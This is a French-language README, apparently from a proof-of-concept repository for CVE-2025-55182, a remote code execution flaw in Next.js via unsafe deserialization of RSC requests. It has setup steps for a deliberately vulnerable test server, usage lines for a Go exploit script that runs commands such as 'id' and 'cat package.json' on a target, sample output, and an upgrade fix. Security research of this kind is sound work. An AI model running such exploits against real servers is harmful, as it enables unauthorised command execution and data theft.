
Preuve de concept pour CVE-2025-55182, une vulnérabilité RCE dans Next.js via une désérialisation non sécurisée dans les requêtes RSC. Inclut un script POC en Go et un serveur de test vulnérable pour la recherche et l'éducation en sécurité.
⚠️ Cet outil est destiné uniquement à la recherche en sécurité et à l'enseignement. Ne l'utilisez pas à des fins illégales. ⚠️
CVE-2025-55182 est une vulnérabilité grave d'exécution de code à distance (RCE) dans le framework Next.js. Cette vulnérabilité provient d'un problème de désérialisation non sécurisée lors du traitement des requêtes React Server Components (RSC) par Next.js. Un attaquant peut exécuter du code arbitraire sur le serveur sans autorisation en construisant des requêtes HTTP malveillantes.
Versions affectées :
Ce projet fournit un serveur de test Next.js vulnérable test-server.
Assurez-vous d'avoir installé Node.js et npm.
cd test-server
npm install
npm run dev
Le serveur fonctionne par défaut sur http://localhost:3000.
Remarque : Si vous rencontrez une erreur de fichier lock, essayez d'exécuter :
rm -f .next/dev/lock && npm run dev
Ce projet fournit un script POC en Go poc.go.
Utilisation :
go run poc.go [URL cible] [commande à exécuter]
Exemples :
Exécuter la commande id (par défaut)
go run poc.go
ou
go run poc.go http://localhost:3000 id
Lister les fichiers du répertoire courant
go run poc.go http://localhost:3000 "ls -la"
Afficher le contenu d'un fichier
go run poc.go http://localhost:3000 "cat package.json"
Sortie attendue :
Bien que le code d'état HTTP renvoie 500, le résultat de l'exécution de la commande est inclus dans le champ digest de la réponse.
1:E{"digest":"uid=502(hoosin) gid=20(staff) ...","name":"Error","message":"NEXT_REDIRECT",...}
Mettez à jour Next.js vers une version sécurisée :
npm install next@latest react@latest react-dom@latest